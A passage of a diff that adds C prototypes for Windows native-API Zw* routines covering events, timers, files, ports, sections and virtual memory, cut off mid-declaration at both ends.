PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState + ); + + + +NTSTATUS +NTAPI +ZwOpenEvent ( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwPulseEvent ( + _In_ HANDLE EventHandle, + _Out_ OPTIONAL PLONG PreviousState + ); + + + +NTSTATUS +NTAPI +ZwQueryEvent ( + _In_ HANDLE EventHandle, + _In_ EVENT_INFORMATION_CLASS EventInformationClass, + _Out_ PVOID EventInformation, + _In_ ULONG EventInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwResetEvent ( + _In_ HANDLE EventHandle, + _Out_ OPTIONAL PLONG PreviousState + ); + + + +NTSTATUS +NTAPI +ZwSetEvent ( + _In_ HANDLE EventHandle, + _Out_ OPTIONAL PLONG PreviousState + ); + + + +NTSTATUS +NTAPI +ZwSetEventBoostPriority ( + _In_ HANDLE EventHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateEventPair ( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwOpenEventPair ( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwWaitLowEventPair ( + _In_ HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwWaitHighEventPair ( + _In_ HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetLowWaitHighEventPair ( + _In_ HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetHighWaitLowEventPair ( + _In_ HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetLowEventPair ( + _In_ HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetHighEventPair ( + _In_ HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateMutant ( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN InitialOwner + ); + + + +NTSTATUS +NTAPI +ZwOpenMutant ( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryMutant ( + _In_ HANDLE MutantHandle, + _In_ MUTANT_INFORMATION_CLASS MutantInformationClass, + _Out_ PVOID MutantInformation, + _In_ ULONG MutantInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwReleaseMutant ( + _In_ HANDLE MutantHandle, + _Out_ OPTIONAL PLONG PreviousCount + ); + + + +NTSTATUS +NTAPI +ZwCreateSemaphore ( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ LONG InitialCount, + _In_ LONG MaximumCount + ); + + + +NTSTATUS +NTAPI +ZwOpenSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQuerySemaphore ( + _In_ HANDLE SemaphoreHandle, + _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + _Out_ PVOID SemaphoreInformation, + _In_ ULONG SemaphoreInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwReleaseSemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ LONG ReleaseCount, + _Out_ OPTIONAL PLONG PreviousCount + ); + + + +NTSTATUS +NTAPI +ZwCreateTimer ( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TIMER_TYPE TimerType + ); + + + +NTSTATUS +NTAPI +ZwOpenTimer ( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwCancelTimer ( + _In_ HANDLE TimerHandle, + _Out_ OPTIONAL PBOOLEAN CurrentState + ); + + + +NTSTATUS +NTAPI +ZwQueryTimer ( + _In_ HANDLE TimerHandle, + _In_ TIMER_INFORMATION_CLASS TimerInformationClass, + _Out_ PVOID TimerInformation, + _In_ ULONG TimerInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetTimer ( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_ OPTIONAL PTIMER_APC_ROUTINE TimerApcRoutine, + _In_ OPTIONAL PVOID TimerContext, + _In_ BOOLEAN ResumeTimer, + _In_ OPTIONAL LONG Period, + _Out_ OPTIONAL PBOOLEAN PreviousState + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemTime ( + _Out_ PLARGE_INTEGER SystemTime + ); + + + +NTSTATUS +NTAPI +ZwSetSystemTime ( + _In_ OPTIONAL PLARGE_INTEGER SystemTime, + _Out_ OPTIONAL PLARGE_INTEGER PreviousTime + ); + + + +NTSTATUS +NTAPI +ZwQueryTimerResolution ( + _Out_ PULONG MaximumTime, + _Out_ PULONG MinimumTime, + _Out_ PULONG CurrentTime + ); + + + +NTSTATUS +NTAPI +ZwSetTimerResolution ( + _In_ ULONG DesiredTime, + _In_ BOOLEAN SetResolution, + _Out_ PULONG ActualTime + ); + + + +NTSTATUS +NTAPI +ZwAllocateLocallyUniqueId ( + _Out_ PLUID Luid + ); + + + +NTSTATUS +NTAPI +ZwSetUuidSeed ( + _In_ PCHAR Seed + ); + + + +NTSTATUS +NTAPI +ZwAllocateUuids ( + _Out_ PULARGE_INTEGER Time, + _Out_ PULONG Range, + _Out_ PULONG Sequence, + _Out_ PCHAR Seed + ); + + + +NTSTATUS +NTAPI +ZwCreateProfile ( + _Out_ PHANDLE ProfileHandle, + _In_ HANDLE Process OPTIONAL, + _In_ PVOID ProfileBase, + _In_ SIZE_T ProfileSize, + _In_ ULONG BucketSize, + _In_ PULONG Buffer, + _In_ ULONG BufferSize, + _In_ KPROFILE_SOURCE ProfileSource, + _In_ KAFFINITY Affinity + ); + + + +NTSTATUS +NTAPI +ZwStartProfile ( + _In_ HANDLE ProfileHandle + ); + + + +NTSTATUS +NTAPI +ZwStopProfile ( + _In_ HANDLE ProfileHandle + ); + + + +NTSTATUS +NTAPI +ZwSetIntervalProfile ( + _In_ ULONG Interval, + _In_ KPROFILE_SOURCE Source + ); + + + +NTSTATUS +NTAPI +ZwQueryIntervalProfile ( + _In_ KPROFILE_SOURCE ProfileSource, + _Out_ PULONG Interval + ); + + + +NTSTATUS +NTAPI +ZwQueryPerformanceCounter ( + _Out_ PLARGE_INTEGER PerformanceCounter, + _Out_ OPTIONAL PLARGE_INTEGER PerformanceFrequency + ); + + + +NTSTATUS +NTAPI +ZwCreateKeyedEvent ( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwOpenKeyedEvent ( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwReleaseKeyedEvent ( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForKeyedEvent ( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemInformation ( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Out_ OPTIONAL PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetSystemInformation ( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_ OPTIONAL PVOID SystemInformation, + _In_ ULONG SystemInformationLength + ); + + + +NTSTATUS +NTAPI +ZwSystemDebugControl ( + _In_ SYSDBG_COMMAND Command, + _In_ OPTIONAL PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_ OPTIONAL PVOID OutputBuffer, + _In_ ULONG OutputBufferLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwRaiseHardError ( + _In_ NTSTATUS ErrorStatus, + _In_ ULONG NumberOfParameters, + _In_ ULONG UnicodeStringParameterMask, + _In_ OPTIONAL PULONG_PTR Parameters, + _In_ ULONG ValidResponseOptions, + _Out_ PULONG Response + ); + + + +NTSTATUS +NTAPI +ZwQueryDefaultLocale ( + _In_ BOOLEAN UserProfile, + _Out_ PLCID DefaultLocaleId + ); + + + +NTSTATUS +NTAPI +ZwSetDefaultLocale ( + _In_ BOOLEAN UserProfile, + _In_ LCID DefaultLocaleId + ); + + + +NTSTATUS +NTAPI +ZwQueryInstallUILanguage ( + _Out_ LANGID *InstallUILanguageId + ); + + + +NTSTATUS +NTAPI +ZwQueryDefaultUILanguage ( + _Out_ LANGID *DefaultUILanguageId + ); + + + +NTSTATUS +NTAPI +ZwSetDefaultUILanguage ( + _In_ LANGID DefaultUILanguageId + ); + + + +NTSTATUS +NTAPI +ZwSetDefaultHardErrorPort( + _In_ HANDLE DefaultHardErrorPort + ); + + + +NTSTATUS +NTAPI +ZwShutdownSystem ( + _In_ SHUTDOWN_ACTION Action + ); + + + +NTSTATUS +NTAPI +ZwDisplayString ( + _In_ PUNICODE_STRING String + ); + + + +NTSTATUS +NTAPI +ZwAddAtom ( + _In_ OPTIONAL PWSTR AtomName, + _In_ ULONG Length, + _Out_ OPTIONAL PRTL_ATOM Atom + ); + + + +NTSTATUS +NTAPI +ZwFindAtom ( + _In_ OPTIONAL PWSTR AtomName, + _In_ ULONG Length, + _Out_ OPTIONAL PRTL_ATOM Atom + ); + + + +NTSTATUS +NTAPI +ZwDeleteAtom ( + _In_ RTL_ATOM Atom + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationAtom( + _In_ RTL_ATOM Atom, + _In_ ATOM_INFORMATION_CLASS AtomInformationClass, + _Out_ OPTIONAL PVOID AtomInformation, + _In_ ULONG AtomInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwCancelIoFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + + + +NTSTATUS +NTAPI +ZwCreateNamedPipeFile ( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_ ULONG NamedPipeType, + _In_ ULONG ReadMode, + _In_ ULONG CompletionMode, + _In_ ULONG MaximumInstances, + _In_ ULONG InboundQuota, + _In_ ULONG OutboundQuota, + _In_ OPTIONAL PLARGE_INTEGER DefaultTimeout + ); + + + +NTSTATUS +NTAPI +ZwCreateMailslotFile ( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CreateOptions, + _In_ ULONG MailslotQuota, + _In_ ULONG MaximumMessageSize, + _In_ PLARGE_INTEGER ReadTimeout + ); + + + +NTSTATUS +NTAPI +ZwDeleteFile ( + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwFlushBuffersFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + + + +NTSTATUS +NTAPI +ZwNotifyChangeDirectoryFile ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID Buffer, + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree + ); + + + +NTSTATUS +NTAPI +ZwQueryAttributesFile ( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_BASIC_INFORMATION FileInformation + ); + + + +NTSTATUS +NTAPI +ZwQueryFullAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation + ); + + + +NTSTATUS +NTAPI +ZwQueryEaFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ PVOID EaList, + _In_ ULONG EaListLength, + _In_ OPTIONAL PULONG EaIndex OPTIONAL, + _In_ BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +ZwCreateFile ( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ OPTIONAL PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_ OPTIONAL PVOID EaBuffer, + _In_ ULONG EaLength + ); + + + +NTSTATUS +NTAPI +ZwDeviceIoControlFile ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG IoControlCode, + _In_ OPTIONAL PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_ OPTIONAL PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + + + +NTSTATUS +NTAPI +ZwFsControlFile ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG FsControlCode, + _In_ OPTIONAL PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_ OPTIONAL PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + + + +NTSTATUS +NTAPI +ZwLockFile ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key, + _In_ BOOLEAN FailImmediately, + _In_ BOOLEAN ExclusiveLock + ); + + + +NTSTATUS +NTAPI +ZwOpenFile ( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG OpenOptions + ); + + + +NTSTATUS +NTAPI +ZwQueryDirectoryFile ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_ OPTIONAL PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + + + +NTSTATUS +NTAPI +ZwQueryQuotaInformationFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ OPTIONAL PVOID SidList, + _In_ ULONG SidListLength, + _In_ OPTIONAL PSID StartSid, + _In_ BOOLEAN RestartScan + ); + + + +NTSTATUS +NTAPI +ZwQueryVolumeInformationFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass + ); + + + +NTSTATUS +NTAPI +ZwReadFile ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID Buffer, + _In_ ULONG Length, + _In_ OPTIONAL PLARGE_INTEGER ByteOffset, + _In_ OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwSetInformationFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + + + +NTSTATUS +NTAPI +ZwSetQuotaInformationFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PVOID Buffer, + _In_ ULONG Length + ); + + + +NTSTATUS +NTAPI +ZwSetVolumeInformationFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass + ); + + + +NTSTATUS +NTAPI +ZwWriteFile ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PVOID Buffer, + _In_ ULONG Length, + _In_ OPTIONAL PLARGE_INTEGER ByteOffset, + _In_ OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwUnlockFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key + ); + + + +NTSTATUS +NTAPI +ZwReadFileScatter ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_ OPTIONAL PLARGE_INTEGER ByteOffset, + _In_ OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwSetEaFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PVOID Buffer, + _In_ ULONG Length + ); + + + +NTSTATUS +NTAPI +ZwWriteFileGather ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_ OPTIONAL PLARGE_INTEGER ByteOffset, + _In_ OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwLoadDriver ( + _In_ PUNICODE_STRING DriverServiceName + ); + + + +NTSTATUS +NTAPI +ZwUnloadDriver ( + _In_ PUNICODE_STRING DriverServiceName + ); + + + +NTSTATUS +NTAPI +ZwCreateIoCompletion ( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Count OPTIONAL + ); + + + +NTSTATUS +NTAPI +ZwOpenIoCompletion ( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryIoCompletion ( + _In_ HANDLE IoCompletionHandle, + _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + _Out_ PVOID IoCompletionInformation, + _In_ ULONG IoCompletionInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetIoCompletion ( + _In_ HANDLE IoCompletionHandle, + _In_ PVOID KeyContext, + _In_ OPTIONAL PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation + ); + + + +NTSTATUS +NTAPI +ZwRemoveIoCompletion ( + _In_ HANDLE IoCompletionHandle, + _Out_ PVOID *KeyContext, + _Out_ PVOID *ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwCallbackReturn ( + _In_ PVOID OutputBuffer OPTIONAL, + _In_ ULONG OutputLength, + _In_ NTSTATUS Status + ); + + + +NTSTATUS +NTAPI +ZwQueryDebugFilterState ( + _In_ ULONG ComponentId, + _In_ ULONG Level + ); + + + +NTSTATUS +NTAPI +ZwSetDebugFilterState ( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ BOOLEAN State + ); + + + +NTSTATUS +NTAPI +ZwYieldExecution ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwCreatePort( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_ OPTIONAL ULONG MaxPoolUsage + ); + + + +NTSTATUS +NTAPI +ZwCreateWaitablePort( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_ OPTIONAL ULONG MaxPoolUsage + ); + + + +NTSTATUS +NTAPI +ZwConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _In_ _Out_ OPTIONAL PPORT_VIEW ClientView, + _In_ _Out_ OPTIONAL PREMOTE_PORT_VIEW ServerView, + _Out_ OPTIONAL PULONG MaxMessageLength, + _In_ _Out_ OPTIONAL PVOID ConnectionInformation, + _In_ _Out_ OPTIONAL PULONG ConnectionInformationLength + ); + + + +NTSTATUS +NTAPI +ZwSecureConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _In_ _Out_ OPTIONAL PPORT_VIEW ClientView, + _In_ OPTIONAL PSID RequiredServerSid, + _In_ _Out_ OPTIONAL PREMOTE_PORT_VIEW ServerView, + _Out_ OPTIONAL PULONG MaxMessageLength, + _In_ _Out_ OPTIONAL PVOID ConnectionInformation, + _In_ _Out_ OPTIONAL PULONG ConnectionInformationLength + ); + + + +NTSTATUS +NTAPI +ZwListenPort( + _In_ HANDLE PortHandle, + _Out_ PPORT_MESSAGE ConnectionRequest + ); + + + +NTSTATUS +NTAPI +ZwAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_ OPTIONAL PVOID PortContext, + _In_ PPORT_MESSAGE ConnectionRequest, + _In_ BOOLEAN AcceptConnection, + _In_ _Out_ OPTIONAL PPORT_VIEW ServerView, + _Out_ OPTIONAL PREMOTE_PORT_VIEW ClientView + ); + + + +NTSTATUS +NTAPI +ZwCompleteConnectPort( + _In_ HANDLE PortHandle + ); + + + +NTSTATUS +NTAPI +ZwRequestPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE RequestMessage + ); + + + +NTSTATUS +NTAPI +ZwRequestWaitReplyPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE RequestMessage, + _Out_ PPORT_MESSAGE ReplyMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE ReplyMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyWaitReplyPort( + _In_ HANDLE PortHandle, + _In_ _Out_ PPORT_MESSAGE ReplyMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyWaitReceivePort( + _In_ HANDLE PortHandle, + _Out_ OPTIONAL PVOID *PortContext , + _In_ OPTIONAL PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyWaitReceivePortEx( + _In_ HANDLE PortHandle, + _Out_ OPTIONAL PVOID *PortContext, + _In_ OPTIONAL PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwImpersonateClientOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message + ); + + + +NTSTATUS +NTAPI +ZwReadRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _Out_ PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_ OPTIONAL PSIZE_T NumberOfBytesRead + ); + + + +NTSTATUS +NTAPI +ZwWriteRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _In_ PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_ OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationPort( + _In_ HANDLE PortHandle, + _In_ PORT_INFORMATION_CLASS PortInformationClass, + _Out_ PVOID PortInformation, + _In_ ULONG Length, + _Out_ OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwCreateSection ( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ OPTIONAL PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_ OPTIONAL HANDLE FileHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenSection ( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwMapViewOfSection ( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + _In_ _Out_ PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _In_ _Out_ OPTIONAL PLARGE_INTEGER SectionOffset, + _In_ _Out_ PSIZE_T ViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect + ); + + + +NTSTATUS +NTAPI +ZwUnmapViewOfSection ( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress + ); + + + +NTSTATUS +NTAPI +ZwExtendSection ( + _In_ HANDLE SectionHandle, + _In_ _Out_ PLARGE_INTEGER NewSectionSize + ); + + + +NTSTATUS +NTAPI +ZwAreMappedFilesTheSame ( + _In_ PVOID File1MappedAsAnImage, + _In_ PVOID File2MappedAsFile + ); + + + +NTSTATUS +NTAPI +ZwAllocateVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ _Out_ PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ _Out_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG Protect + ); + + + +NTSTATUS +NTAPI +ZwFreeVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ _Out_ PVOID *BaseAddress, + _In_ _Out_ PSIZE_T RegionSize, + _In_ ULONG FreeType + ); + + + +NTSTATUS +NTAPI +ZwReadVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ OPTIONAL PVOID BaseAddress, + _Out_ PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_ OPTIONAL PSIZE_T NumberOfBytesRead + ); + + + +NTSTATUS +NTAPI +ZwWriteVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ OPTIONAL PVOID BaseAddress, + _In_ CONST VOID *Buffer, + _In_ SIZE_T BufferSize, + _Out_ OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + + +NTSTATUS +NTAPI +ZwFlushVirtualMemory ( + _In_ HANDLE 